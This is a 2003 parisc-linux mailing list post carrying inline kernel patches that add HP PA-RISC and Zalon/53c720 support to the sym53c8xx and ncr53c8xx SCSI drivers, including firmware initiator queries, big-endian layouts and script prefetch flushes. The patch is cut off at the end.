List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18244

>-- Original Message --
>Date: Mon, 14 Apr 2003 12:54:16 +0100
>From: Matthew Wilcox <willy@debian.org>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: Gerard Roudier <groudier@free.fr>,
>	Grant Grundler <grundler@parisc-linux.org>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] parisc-linux.org kernel
>
>
>
>joel, do not include patches as attachments, include them inline.
>
>-- 
Shame on me: I again forgot.

Here there are:

diff -NaurX dontdiff linux-2.4.21-pre7/drivers/scsi/sym53c8xx.c linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx.c
--- linux-2.4.21-pre7/drivers/scsi/sym53c8xx.c	2003-03-27 19:43:51.000000000
+0100
+++ linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx.c	2003-03-27 18:50:22.000000000
+0100
@@ -4915,6 +4915,11 @@
 	u_long	period;
 	int i;
 
+#ifdef CONFIG_PARISC
+	char scsi_mode = -1;
+	struct hardware_path hwpath;
+#endif
+
 	/*
 	**	Wide ?
 	*/
@@ -4986,6 +4991,29 @@
 	 */
 
 	period = (4 * div_10M[0] + np->clock_khz - 1) / np->clock_khz;
+
+#if defined(CONFIG_PARISC)
+	/* Host firmware (PDC) keeps a table for crippling SCSI capabilities.
+	 * Many newer machines export one channel of 53c896 chip
+	 * as SE, 50-pin HD.  Also used for Multi-initiator SCSI clusters
+	 * to set the SCSI Initiator ID.
+	 */
+	get_pci_node_path(np->pdev, &hwpath);
+	if (pdc_get_initiator(&hwpath, &np->myaddr, &period, &np->maxwide, &scsi_mode))
+	{
+		if (scsi_mode >= 0) {
+			/* C3000 PDC reports period/mode */
+			driver_setup.diff_support = 0;
+			switch(scsi_mode) {
+			case 0:	np->scsi_mode = SMODE_SE; break;
+			case 1:	np->scsi_mode = SMODE_HVD; break;
+			case 2:	np->scsi_mode = SMODE_LVD; break;
+			default:	break;
+			}
+		}
+	}
+#endif
+
 	if	(period <= 250)		np->minsync = 10;
 	else if	(period <= 303)		np->minsync = 11;
 	else if	(period <= 500)		np->minsync = 12;
@@ -5128,7 +5156,6 @@
 		np->rv_ctest4	|= MPEE;	/* Master parity checking */
 	if (driver_setup.scsi_parity)
 		np->rv_scntl0	|= 0x0a;	/*  full arb., ena parity, par->ATN  */
-
 #ifdef SCSI_NCR_NVRAM_SUPPORT
 	/*
 	**	Get parity checking, host ID and verbose mode from NVRAM
@@ -5196,7 +5223,7 @@
 			if (np->sv_stest2 & 0x20)
 				np->scsi_mode = SMODE_HVD;
 			break;
-		default:/* Don't care about HVD */	
+		default: /* Don't care about HVD */	
 			break;
 		}
 	}
@@ -5239,6 +5266,7 @@
 		tcb_p tp = &np->target[i];
 
 		tp->usrsync = 255;
+
 #ifdef SCSI_NCR_NVRAM_SUPPORT
 		if (nvram) {
 			switch(nvram->type) {
@@ -5256,10 +5284,11 @@
 			if (driver_setup.use_nvram & 0x8)
 				tp->usrflag &= ~UF_NOSCAN;
 		}
-		else {
+		else
 #else
-		if (1) {
+		if (1) 
 #endif
+		{
 			tp->usrsync = driver_setup.default_sync;
 			tp->usrwide = driver_setup.max_wide;
 			tp->usrtags = MAX_TAGS;
@@ -7074,7 +7103,11 @@
 		((INW(nc_sbdl) & 0xff00) << 10) |	/* d15-8    */
 		INB(nc_sbcl);	/* req ack bsy sel atn msg cd io    */
 
+#ifdef CONFIG_PARISC
+	if (!np->maxwide)
+#else
 	if (!(np->features & FE_WIDE))
+#endif
 		term &= 0x3ffff;
 
 	if (term != (2<<7)) {
@@ -12974,6 +13007,7 @@
 		}
 		if (i != count)	/* Ignore this device if we already have it */
 			continue;
+		pci_set_master(pcidev);
 		devp = &devtbl[count];
 		devp->host_id = driver_setup.host_id;
 		devp->attach_done = 0;
@@ -13217,7 +13251,7 @@
 		return -1;
 	}
 
-#ifdef __powerpc__
+#if defined(__powerpc__) || defined(__hppa__)
 	/*
 	**	Fix-up for power/pc.
 	**	Should not be performed by the driver.
diff -NaurX dontdiff linux-2.4.21-pre7/drivers/scsi/sym53c8xx_2/sym_glue.c
linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx_2/sym_glue.c
--- linux-2.4.21-pre7/drivers/scsi/sym53c8xx_2/sym_glue.c	2002-11-29 00:53:14.000000000
+0100
+++ linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx_2/sym_glue.c	2002-12-20
15:56:22.000000000 +0100
@@ -142,10 +142,24 @@
 #define	SYM_LOCK_HCB(np, flags)   spin_lock_irqsave(&np->s.smp_lock, flags)
 #define	SYM_UNLOCK_HCB(np, flags) spin_unlock_irqrestore(&np->s.smp_lock,
flags)
 
+/* Warning!
+ * sym2 driver used to hold iorl in sym53c8xx_intr and sym_timer
+ * with these macros. However, we have observed that this causes
+ * a deadlock with the iorl held by scsi_register_host. A survey
+ * of a couple of other scsi drivers that uses the "new" eh
+ * code seems to suggest that this is not required. I've disabled
+ * these for now, without having completely understood if this
+ * is correct.
+ */
+#ifndef CONFIG_PARISC /* hack */
 #define	SYM_LOCK_SCSI(np, flags) \
 		spin_lock_irqsave(&io_request_lock, flags)
 #define	SYM_UNLOCK_SCSI(np, flags) \
 		spin_unlock_irqrestore(&io_request_lock, flags)
+#else
+#define	SYM_LOCK_SCSI(np, flags)
+#define	SYM_UNLOCK_SCSI(np, flags)
+#endif
 
 /* Ugly, but will make things easier if this locking will ever disappear
*/
 #define	SYM_LOCK_SCSI_NOSAVE(np)	spin_lock_irq(&io_request_lock)
diff -NaurX dontdiff linux-2.4.21-pre7/drivers/scsi/sym53c8xx_2/sym_hipd.c
linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx_2/sym_hipd.c
--- linux-2.4.21-pre7/drivers/scsi/sym53c8xx_2/sym_hipd.c	2003-03-27 19:43:51.000000000
+0100
+++ linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx_2/sym_hipd.c	2003-03-27
18:50:22.000000000 +0100
@@ -289,7 +289,11 @@
 		((INW(nc_sbdl) & 0xff00) << 10) |	/* d15-8    */
 		INB(nc_sbcl);	/* req ack bsy sel atn msg cd io    */
 
+#ifdef CONFIG_PARISC
+	if (!np->maxwide)
+#else
 	if (!(np->features & FE_WIDE))
+#endif
 		term &= 0x3ffff;
 
 	if (term != (2<<7)) {
@@ -744,6 +748,12 @@
 	u32	period;
 	int i;
 
+#ifdef CONFIG_PARISC
+	unsigned long pdc_period;
+	char scsi_mode = -1;
+	struct hardware_path hwpath;
+#endif
+
 	/*
 	 *  Wide ?
 	 */
@@ -800,6 +810,31 @@
 	 * Btw, 'period' is in tenths of nanoseconds.
 	 */
 	period = (4 * div_10M[0] + np->clock_khz - 1) / np->clock_khz;
+
+#if defined(CONFIG_PARISC)
+	/* Host firmware (PDC) keeps a table for crippling SCSI capabilities.
+	 * Many newer machines export one channel of 53c896 chip
+	 * as SE, 50-pin HD.  Also used for Multi-initiator SCSI clusters
+	 * to set the SCSI Initiator ID.
+	 */
+	get_pci_node_path(np->s.device, &hwpath);
+	if (pdc_get_initiator(&hwpath, &np->myaddr, &pdc_period, &np->maxwide,
&scsi_mode))
+	{
+		if (scsi_mode >= 0) {
+			/* C3000 PDC reports period/mode */
+			SYM_SETUP_SCSI_DIFF = 0;
+			switch(scsi_mode) {
+			case 0:	np->scsi_mode = SMODE_SE; break;
+			case 1:	np->scsi_mode = SMODE_HVD; break;
+			case 2:	np->scsi_mode = SMODE_LVD; break;
+			default:	break;
+			}
+		}
+
+		period = (u32) pdc_period;
+	}
+#endif
+
 	if	(period <= 250)		np->minsync = 10;
 	else if	(period <= 303)		np->minsync = 11;
 	else if	(period <= 500)		np->minsync = 12;
diff -NaurX dontdiff linux-2.4.21-pre7/drivers/scsi/sym53c8xx_defs.h linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx_defs.h
--- linux-2.4.21-pre7/drivers/scsi/sym53c8xx_defs.h	2002-08-03 02:39:44.000000000
+0200
+++ linux-2.4.21-pre7-pa3x/drivers/scsi/sym53c8xx_defs.h	2003-03-19 14:33:25.000000000
+0100
@@ -82,9 +82,11 @@
 /*
  *	No more an option, enabled by default.
  */
+#ifndef ENABLE_SCSI_ZALON
 #ifndef CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
 #define CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
 #endif
+#endif
 
 /*
 **	These options are not tunable from 'make config'
@@ -185,6 +187,24 @@
 #endif
 #elif defined(__sparc__)
 #undef SCSI_NCR_IOMAPPED
+#elif defined(__hppa__)
+#if defined(ENABLE_SCSI_ZALON)
+#undef SCSI_NCR_IOMAPPED
+#endif
+#endif
+
+/*
+ * Should we enable DAC cycles on Sparc64 platform?
+ * Until further investigation we do not enable it
+ * at the moment.
+ * We may want to enable it for __ia64__ (untested)
+ */
+#if defined(__ia64__)
+#    if !defined(SCSI_NCR_USE_64BIT_DAC)
+#        define SCSI_NCR_USE_64BIT_DAC
+#    endif
+#else
+#    undef SCSI_NCR_USE_64BIT_DAC
 #endif
 
 /*
@@ -383,25 +403,24 @@
 #define	readb_raw	readb
 #define	writeb_raw	writeb
 
-#if defined(__hppa__)
-#define	readw_l2b(a)	le16_to_cpu(readw(a))
-#define	readl_l2b(a)	le32_to_cpu(readl(a))
-#define	writew_b2l(v,a)	writew(cpu_to_le16(v),a)
-#define	writel_b2l(v,a)	writel(cpu_to_le32(v),a)
-#elif defined(__mips__)
-#define readw_l2b	readw
-#define readl_l2b	readl
-#define writew_b2l	writew
-#define writel_b2l	writel
-#define inw_l2b 	inw
-#define inl_l2b 	inl
-#define outw_b2l	outw
-#define outl_b2l	outl
+#if defined(SCSI_NCR_BIG_ENDIAN)
+#define	readw_l2b	__raw_readw
+#define	readl_l2b	__raw_readl
+#define	writew_b2l	__raw_writew
+#define	writel_b2l	__raw_writel
+#define	readw_raw	__raw_readw
+#define	readl_raw(a)	__raw_readl((unsigned long)(a))
+#define	writew_raw	__raw_writew
+#define	writel_raw(v,a)	__raw_writel(v,(unsigned long)(a))
 #else	/* Other big-endian */
 #define	readw_l2b	readw
 #define	readl_l2b	readl
 #define	writew_b2l	writew
 #define	writel_b2l	writel
+#define	readw_raw	readw
+#define	readl_raw	readl
+#define	writew_raw	writew
+#define	writel_raw	writel
 #endif
 
 #else	/* little endian */
@@ -430,9 +449,11 @@
 #endif
 #endif
 
+#if !defined(__hppa__) && !defined(__mips__)
 #ifdef	SCSI_NCR_BIG_ENDIAN
 #error	"The NCR in BIG ENDIAN addressing mode is not (yet) supported"
 #endif
+#endif
 
 
 /*
@@ -585,10 +606,20 @@
 
 #else
 
+#ifdef ENABLE_SCSI_ZALON
+/* Only 8 or 32 bit transfers allowed */
+#define INW_OFF(o)		(readb((char *)np->reg + ncr_offw(o)) << 8 | readb((char
*)np->reg + ncr_offw(o) + 1))
+#else
 #define INW_OFF(o)		readw_raw((char *)np->reg + ncr_offw(o))
+#endif
 #define INL_OFF(o)		readl_raw((char *)np->reg + (o))
 
+#ifdef ENABLE_SCSI_ZALON
+/* Only 8 or 32 bit transfers allowed */
+#define OUTW_OFF(o, val)	do { writeb((char)((val) >> 8), (char *)np->reg
+ ncr_offw(o)); writeb((char)(val), (char *)np->reg + ncr_offw(o) + 1); }
while (0)
+#else
 #define OUTW_OFF(o, val)	writew_raw((val), (char *)np->reg + ncr_offw(o))
+#endif
 #define OUTL_OFF(o, val)	writel_raw((val), (char *)np->reg + (o))
 
 #endif
@@ -636,6 +667,10 @@
 **	NCR53C8XX Device Ids
 */
 
+#ifndef PSEUDO_ZALON_720_ID
+#define PSEUDO_ZALON_720_ID 0x5a00
+#endif
+
 #ifndef PCI_DEVICE_ID_NCR_53C810
 #define PCI_DEVICE_ID_NCR_53C810 1
 #endif
@@ -739,6 +774,9 @@
 #define FE_DAC	 	(1<<24)   /* Support DAC cycles (64 bit addressing) */
 #define FE_ISTAT1 	(1<<25)   /* Have ISTAT1, MBOX0, MBOX1 registers */
 #define FE_DAC_IN_USE	(1<<26)	  /* Platform does DAC cycles */
+#define FE_EHP		(1<<27)   /* 720: Even host parity */
+#define FE_MUX		(1<<28)   /* 720: Multiplexed bus */
+#define FE_EA		(1<<29)   /* 720: Enable Ack */
 
 #define FE_CACHE_SET	(FE_ERL|FE_CLSE|FE_WRIE|FE_ERMP)
 #define FE_SCSI_SET	(FE_WIDE|FE_ULTRA|FE_ULTRA2|FE_DBLR|FE_QUAD|F_CLK80)
@@ -760,6 +798,9 @@
 
 #define SCSI_NCR_CHIP_TABLE						\
 {									\
+ {PSEUDO_ZALON_720_ID, 0x0f, "720",  3,  8, 4,				\
+ FE_WIDE|FE_DIFF|FE_EHP|FE_MUX|FE_EA}					\
+ ,									\
  {PCI_DEVICE_ID_NCR_53C810, 0x0f, "810",  4,  8, 4,			\
  FE_ERL}								\
  ,									\
@@ -832,6 +873,7 @@
  */
 #define SCSI_NCR_CHIP_IDS		\
 {					\
+	PSEUDO_ZALON_720_ID,		\
 	PCI_DEVICE_ID_NCR_53C810,	\
 	PCI_DEVICE_ID_NCR_53C815,	\
 	PCI_DEVICE_ID_NCR_53C820,	\
@@ -1183,6 +1225,7 @@
 /*17*/  u_char    nc_mbox1;	/* 896 and later cores only */
 
 /*18*/	u_char	  nc_ctest0;
+	#define   EHP     0x04	/* 720 even host parity             */
 /*19*/  u_char    nc_ctest1;
 
 /*1a*/  u_char    nc_ctest2;
@@ -1200,6 +1243,7 @@
 
 /*20*/	u_char	  nc_dfifo;
 /*21*/  u_char    nc_ctest4;
+	#define   MUX     0x80  /* 720 host bus multiplex mode      */
 	#define   BDIS    0x80  /* mod: burst disable               */
 	#define   MPEE    0x08  /* mod: master parity error enable  */
 
@@ -1232,6 +1276,7 @@
 	#define   CLSE    0x80  /* mod: cache line size enable      */
 	#define   PFF     0x40  /* cmd: pre-fetch flush             */
 	#define   PFEN    0x20  /* mod: pre-fetch enable            */
+	#define   EA      0x20	/* mod: 720 enable-ack              */
 	#define   SSM     0x10  /* mod: single step mode            */
 	#define   IRQM    0x08  /* mod: irq mode (1 = totem pole !) */
 	#define   STD     0x04  /* cmd: start dma mode              */
@@ -1274,6 +1319,7 @@
 
 /*4e*/  u_char    nc_stest2;
 	#define   ROF     0x40	/* reset scsi offset (after gross error!) */
+	#define   DIF     0x20  /* 720 SCSI differential mode             */
 	#define   EXT     0x02  /* extended filtering                     */
 
 /*4f*/  u_char    nc_stest3;
@@ -1452,12 +1498,21 @@
 #define	SCR_SEL_TBL	0x42000000
 #define	SCR_SEL_TBL_ATN	0x43000000
 
+#ifdef SCSI_NCR_BIG_ENDIAN
+struct scr_tblsel {
+        u_char  sel_scntl3;
+        u_char  sel_id;
+        u_char  sel_sxfer;
+        u_char  sel_scntl4;	
+};
+#else
 struct scr_tblsel {
         u_char  sel_scntl4;	
         u_char  sel_sxfer;
         u_char  sel_id;
         u_char  sel_scntl3;
 };
+#endif
 
 #define SCR_JMP_REL     0x04000000
 #define SCR_ID(id)	(((u_int32)(id)) << 16)
diff -NaurX dontdiff linux-2.4.21-pre7/drivers/scsi/ncr53c8xx.c linux-2.4.21-pre7-pa3x/drivers/scsi/ncr53c8xx.c
--- linux-2.4.21-pre7/drivers/scsi/ncr53c8xx.c	2002-11-29 00:53:14.000000000
+0100
+++ linux-2.4.21-pre7-pa3x/drivers/scsi/ncr53c8xx.c	2002-12-20 15:56:21.000000000
+0100
@@ -82,6 +82,7 @@
 **	    Etc...
 **
 **	Supported NCR/SYMBIOS chips:
+**		53C720		(Wide,   Fast SCSI-2, HP Zalon)
 **		53C810		(8 bits, Fast SCSI-2, no rom BIOS) 
 **		53C815		(8 bits, Fast SCSI-2, on board rom BIOS)
 **		53C820		(Wide,   Fast SCSI-2, no rom BIOS)
@@ -180,6 +181,23 @@
 typedef u32 u_int32;
 typedef u64 u_int64;
 typedef	u_long		vm_offset_t;
+
+#ifdef __hppa__
+/* Yuck.  Current plan is to use ncr58c8xx.c for non-pci big endian
+** chips, and sym53c8xx.c for pci little endian chips.  Define this
+** here so it gets seen by sym53c8xx_defs.h, pulled in via ncr53c8xx.h.
+*/
+#define SCSI_NCR_BIG_ENDIAN
+/* INTFLY interrupts don't always seem to get serviced atm.....
+*/
+#define SIMULATED_INTFLY
+#endif
+
+#if defined(CONFIG_SCSI_ZALON) || defined(CONFIG_SCSI_ZALON_MODULE)
+#define ENABLE_SCSI_ZALON
+#include "zalon7xx.h"
+#endif
+
 #include "ncr53c8xx.h"
 
 /*
@@ -383,6 +401,8 @@
 	struct Scsi_Host *host, struct scsi_device *devlist);
 static void ncr53c8xx_intr(int irq, void *dev_id, struct pt_regs * regs);
 static void ncr53c8xx_timeout(unsigned long np);
+static int ncr53c8xx_proc_info(char *buffer, char **start, off_t offset,
+			int length, int hostno, int func);
 
 #define initverbose (driver_setup.verbose)
 #define bootverbose (np->verbose)
@@ -454,7 +474,8 @@
 #define	SIR_RESEL_BAD_I_T_L	(15)
 #define	SIR_RESEL_BAD_I_T_L_Q	(16)
 #define	SIR_DONE_OVERFLOW	(17)
-#define	SIR_MAX			(17)
+#define	SIR_INTFLY		(18)
+#define	SIR_MAX			(18)
 
 /*==========================================================
 **
@@ -626,6 +647,15 @@
 	**	negotiation of wide and synch transfer and device quirks.
 	**----------------------------------------------------------------
 	*/
+#ifdef SCSI_NCR_BIG_ENDIAN
+/*0*/	u_short	period;
+/*2*/	u_char	sval;
+/*3*/	u_char	minsync;
+/*0*/	u_char	wval;
+/*1*/	u_char	widedone;
+/*2*/	u_char	quirks;
+/*3*/	u_char	maxoffs;
+#else
 /*0*/	u_char	minsync;
 /*1*/	u_char	sval;
 /*2*/	u_short	period;
@@ -633,6 +663,7 @@
 /*1*/	u_char	quirks;
 /*2*/	u_char	widedone;
 /*3*/	u_char	wval;
+#endif
 
 #ifdef SCSI_NCR_INTEGRITY_CHECKING
 	u_char 	ic_min_sync;
@@ -843,10 +874,17 @@
 /*
 **	Last four bytes (host)
 */
+#ifdef	SCSI_NCR_BIG_ENDIAN
+#define  actualquirks  phys.header.status[3]
+#define  host_status   phys.header.status[2]
+#define  scsi_status   phys.header.status[1]
+#define  parity_status phys.header.status[0]
+#else
 #define  actualquirks  phys.header.status[0]
 #define  host_status   phys.header.status[1]
 #define  scsi_status   phys.header.status[2]
 #define  parity_status phys.header.status[3]
+#endif
 
 /*
 **	First four bytes (script)
@@ -1030,8 +1068,8 @@
 	**	be used for probing adapter implementation differences.
 	**----------------------------------------------------------------
 	*/
-	u_char	sv_scntl0, sv_scntl3, sv_dmode, sv_dcntl, sv_ctest3, sv_ctest4,
-		sv_ctest5, sv_gpcntl, sv_stest2, sv_stest4;
+	u_char	sv_scntl0, sv_scntl3, sv_dmode, sv_dcntl, sv_ctest0, sv_ctest3,
+		sv_ctest4, sv_ctest5, sv_gpcntl, sv_stest2, sv_stest4;
 
 	/*----------------------------------------------------------------
 	**	Actual initial value of IO register bits used by the 
@@ -1039,8 +1077,8 @@
 	**	features that are to be enabled.
 	**----------------------------------------------------------------
 	*/
-	u_char	rv_scntl0, rv_scntl3, rv_dmode, rv_dcntl, rv_ctest3, rv_ctest4,

-		rv_ctest5, rv_stest2;
+	u_char	rv_scntl0, rv_scntl3, rv_dmode, rv_dcntl, rv_ctest0, rv_ctest3,
+	rv_ctest4, rv_ctest5, rv_stest2;
 
 	/*----------------------------------------------------------------
 	**	Targets management.
@@ -1162,7 +1200,7 @@
 	*/
 	struct ccb	*ccb;		/* Global CCB			*/
 	struct usrcmd	user;		/* Command from user		*/
-	u_char		release_stage;	/* Synchronisation stage on release  */
+	volatile u_char	release_stage;	/* Synchronisation stage on release  */
 
 #ifdef SCSI_NCR_INTEGRITY_CHECKING
 	/*----------------------------------------------------------------
@@ -1201,6 +1239,23 @@
 */
 
 /*
+**	For HP Zalon/53c720 systems, the Zalon interface
+**	between CPU and 53c720 does prefetches, which causes
+**	problems with self modifying scripts.  The problem
+**	is overcome by calling a dummy subroutine after each
+**	modification, to force a refetch of the script on
+**	return from the subroutine.
+*/
+
+#ifdef ENABLE_SCSI_ZALON
+#define PREFETCH_FLUSH_CNT	2
+#define	PREFETCH_FLUSH		SCR_CALL, PADDRH (wait_dma),
+#else
+#define PREFETCH_FLUSH_CNT	0
+#define PREFETCH_FLUSH
+#endif
+
+/*
 **	Script fragments which are loaded into the on-chip RAM 
 **	of 825A, 875 and 895 chips.
 */
@@ -1208,7 +1263,7 @@
 	ncrcmd	start		[  5];
 	ncrcmd  startpos	[  1];
 	ncrcmd	select		[  6];
-	ncrcmd	select2		[  9];
+	ncrcmd	select2		[  9 + PREFETCH_FLUSH_CNT];
 	ncrcmd	loadpos		[  4];
 	ncrcmd	send_ident	[  9];
 	ncrcmd	prepare		[  6];
@@ -1224,7 +1279,7 @@
 	ncrcmd	setmsg		[  7];
 	ncrcmd	cleanup		[  6];
 	ncrcmd  complete	[  9];
-	ncrcmd	cleanup_ok	[  8];
+	ncrcmd	cleanup_ok	[  8 + PREFETCH_FLUSH_CNT];
 	ncrcmd	cleanup0	[  1];
 #ifndef SCSI_NCR_CCB_DONE_SUPPORT
 	ncrcmd	signal		[ 12];
@@ -1242,11 +1297,11 @@
 	ncrcmd  idle		[  2];
 	ncrcmd	reselect	[  8];
 	ncrcmd	reselected	[  8];
-	ncrcmd	resel_dsa	[  6];
+	ncrcmd	resel_dsa	[  6 + PREFETCH_FLUSH_CNT];
 	ncrcmd	loadpos1	[  4];
 	ncrcmd  resel_lun	[  6];
 	ncrcmd	resel_tag	[  6];
-	ncrcmd	jump_to_nexus	[  4];
+	ncrcmd	jump_to_nexus	[  4 + PREFETCH_FLUSH_CNT];
 	ncrcmd	nexus_indirect	[  4];
 	ncrcmd	resel_notag	[  4];
 	ncrcmd  data_in		[MAX_SCATTERL * 4];
@@ -1267,7 +1322,7 @@
 #endif
 	ncrcmd	select_no_atn	[  8];
 	ncrcmd	cancel		[  4];
-	ncrcmd	skip		[  9];
+	ncrcmd	skip		[  9 + PREFETCH_FLUSH_CNT];
 	ncrcmd	skip2		[ 19];
 	ncrcmd	par_err_data_in	[  6];
 	ncrcmd	par_err_other	[  4];
@@ -1300,9 +1355,10 @@
 	ncrcmd	bad_i_t_l_q	[  4];
 	ncrcmd	bad_target	[  8];
 	ncrcmd	bad_status	[  8];
-	ncrcmd	start_ram	[  4];
+	ncrcmd	start_ram	[  4 + PREFETCH_FLUSH_CNT];
 	ncrcmd	start_ram0	[  4];
 	ncrcmd	sto_restart	[  5];
+	ncrcmd	wait_dma	[  2];
 	ncrcmd	snooptest	[  9];
 	ncrcmd	snoopend	[  2];
 };
@@ -1328,6 +1384,7 @@
 static	void	ncr_getclock	(ncb_p np, int mult);
 static	void	ncr_selectclock	(ncb_p np, u_char scntl3);
 static	ccb_p	ncr_get_ccb	(ncb_p np, u_char tn, u_char ln);
+static  void	ncr_chip_reset	(ncb_p np, int delay);
 static	void	ncr_init	(ncb_p np, int reset, char * msg, u_long code);
 static	int	ncr_int_sbmc	(ncb_p np);
 static	int	ncr_int_par	(ncb_p np);
@@ -1527,6 +1584,10 @@
 		RADDR (dsa),
 		PADDR (loadpos),
 	/*
+	**	Flush script prefetch if required
+	*/
+	PREFETCH_FLUSH
+	/*
 	**	then we do the actual copy.
 	*/
 	SCR_COPY (sizeof (struct head)),
@@ -1827,6 +1888,10 @@
 	SCR_COPY_F (4),
 		RADDR (dsa),
 		PADDR (cleanup0),
+	/*
+	**	Flush script prefetch if required
+	*/
+	PREFETCH_FLUSH
 	SCR_COPY (sizeof (struct head)),
 		NADDR (header),
 }/*-------------------------< CLEANUP0 >--------------------*/,{
@@ -1856,8 +1921,13 @@
 	/*
 	**	... signal completion to the host
 	*/
+#ifdef SIMULATED_INTFLY
+	SCR_INT,
+		SIR_INTFLY,
+#else
 	SCR_INT_FLY,
 		0,
+#endif
 	/*
 	**	Auf zu neuen Schandtaten!
 	*/
@@ -1876,8 +1946,13 @@
 	SCR_INT,
 		SIR_DONE_OVERFLOW,
 }/*------------------------< DONE_END >---------------------*/,{
+#ifdef SIMULATED_INTFLY
+	SCR_INT,
+		SIR_INTFLY,
+#else
 	SCR_INT_FLY,
 		0,
+#endif
 	SCR_COPY (4),
 		RADDR (temp),
 		PADDR (done_pos),
@@ -2055,6 +2130,10 @@
 		RADDR (dsa),
 		PADDR (loadpos1),
 	/*
+	**	Flush script prefetch if required
+	*/
+	PREFETCH_FLUSH
+	/*
 	**	then we do the actual copy.
 	*/
 	SCR_COPY (sizeof (struct head)),
@@ -2116,6 +2195,10 @@
 	SCR_COPY_F (4),
 		RADDR (temp),
 		PADDR (nexus_indirect),
+	/*
+	**	Flush script prefetch if required
+	*/
+	PREFETCH_FLUSH
 	SCR_COPY (4),
 }/*-------------------------< NEXUS_INDIRECT >-------------------*/,{
 		0,
@@ -2272,6 +2355,10 @@
 		RADDR (dsa),
 		PADDRH (skip2),
 	/*
+	**	Flush script prefetch if required
+	*/
+	PREFETCH_FLUSH
+	/*
 	**	then we do the actual copy.
 	*/
 	SCR_COPY (sizeof (struct head)),
@@ -2782,6 +2869,10 @@
 	SCR_COPY_F (4),
 		RADDR (scratcha),
 		PADDRH (start_ram0),
+	/*
+	**	Flush script prefetch if required
+	*/
+	PREFETCH_FLUSH
 	SCR_COPY (sizeof (struct script)),
 }/*-------------------------< START_RAM0 >--------------------*/,{
 		0,
@@ -2799,6 +2890,17 @@
 		PADDR (startpos),
 	SCR_JUMP,
 		PADDR (start),
+}/*-------------------------< WAIT_DMA >-------------------*/,{
+	/*
+	**	For HP Zalon/53c720 systems, the Zalon interface
+	**	between CPU and 53c720 does prefetches, which causes
+	**	problems with self modifying scripts.  The problem
+	**	is overcome by calling a dummy subroutine after each
+	**	modification, to force a refetch of the script on
+	**	return from the subroutine.
+	*/
+	SCR_RETURN,
+		0,
 }/*-------------------------< SNOOPTEST >-------------------*/,{
 	/*
 	**	Read the variable.
@@ -3132,9 +3234,12 @@
 #define burst_length(bc) (!(bc))? 0 : 1 << (bc)
 
 /*
- *	Burst code from io register bits.
+ *	Burst code from io register bits.  Burst enable is ctest0 for c720,
+ *	ctest4 for others.
  */
-#define burst_code(dmode, ctest4, ctest5) \
+#define burst_code(dmode, ctest0, ctest4, ctest5) \
+	(np->device_id == PSEUDO_ZALON_720_ID) ? \
+	(ctest0) & 0x80? 0 : (((dmode) & 0xc0) >> 6) + 1 : \
 	(ctest4) & 0x80? 0 : (((dmode) & 0xc0) >> 6) + ((ctest5) & 0x04) + 1
 
 /*
@@ -3142,12 +3247,15 @@
  */
 static inline void ncr_init_burst(ncb_p np, u_char bc)
 {
-	np->rv_ctest4	&= ~0x80;
+	u_char *be = (np->device_id == PSEUDO_ZALON_720_ID) ?
+		&np->rv_ctest0 : &np->rv_ctest4;
+
+	*be		&= ~0x80;
 	np->rv_dmode	&= ~(0x3 << 6);
 	np->rv_ctest5	&= ~0x4;
 
 	if (!bc) {
-		np->rv_ctest4	|= 0x80;
+		*be		|= 0x80;
 	}
 	else {
 		--bc;
@@ -3224,6 +3332,7 @@
 	np->sv_scntl3	= INB(nc_scntl3) & 0x07;
 	np->sv_dmode	= INB(nc_dmode)  & 0xce;
 	np->sv_dcntl	= INB(nc_dcntl)  & 0xa8;
+	np->sv_ctest0	= INB(nc_ctest0) & 0x84;
 	np->sv_ctest3	= INB(nc_ctest3) & 0x01;
 	np->sv_ctest4	= INB(nc_ctest4) & 0x80;
 	np->sv_ctest5	= INB(nc_ctest5) & 0x24;
@@ -3310,10 +3419,11 @@
 	np->rv_scntl0	= np->sv_scntl0;
 	np->rv_dmode	= np->sv_dmode;
 	np->rv_dcntl	= np->sv_dcntl;
+	np->rv_ctest0	= np->sv_ctest0;
 	np->rv_ctest3	= np->sv_ctest3;
 	np->rv_ctest4	= np->sv_ctest4;
 	np->rv_ctest5	= np->sv_ctest5;
-	burst_max	= burst_code(np->sv_dmode, np->sv_ctest4, np->sv_ctest5);
+	burst_max	= burst_code(np->sv_dmode, np->sv_ctest0, np->sv_ctest4, np->sv_ctest5);
 #else
 
 	/*
@@ -3321,7 +3431,7 @@
 	*/
 	burst_max	= driver_setup.burst_max;
 	if (burst_max == 255)
-		burst_max = burst_code(np->sv_dmode, np->sv_ctest4, np->sv_ctest5);
+		burst_max = burst_code(np->sv_dmode, np->sv_ctest0, np->sv_ctest4, np->sv_ctest5);
 	if (burst_max > 7)
 		burst_max = 7;
 	if (burst_max > np->maxburst)
@@ -3344,6 +3454,12 @@
 		np->rv_ctest3	|= WRIE;	/* Write and Invalidate */
 	if (np->features & FE_DFS)
 		np->rv_ctest5	|= DFS;		/* Dma Fifo Size */
+	if (np->features & FE_MUX)
+		np->rv_ctest4	|= MUX;		/* Host bus multiplex mode */
+	if (np->features & FE_EA)
+		np->rv_dcntl	|= EA;		/* Enable ACK */
+	if (np->features & FE_EHP)
+		np->rv_ctest0	|= EHP;		/* Even host parity */
 
 	/*
 	**	Select some other
@@ -3523,6 +3639,7 @@
 	return 0;
 }
 
+
 /*
 **	Host attach and initialisations.
 **
@@ -3543,6 +3660,7 @@
 	ncr_nvram *nvram = device->nvram;
 	int i;
 
+#ifndef ENABLE_SCSI_ZALON
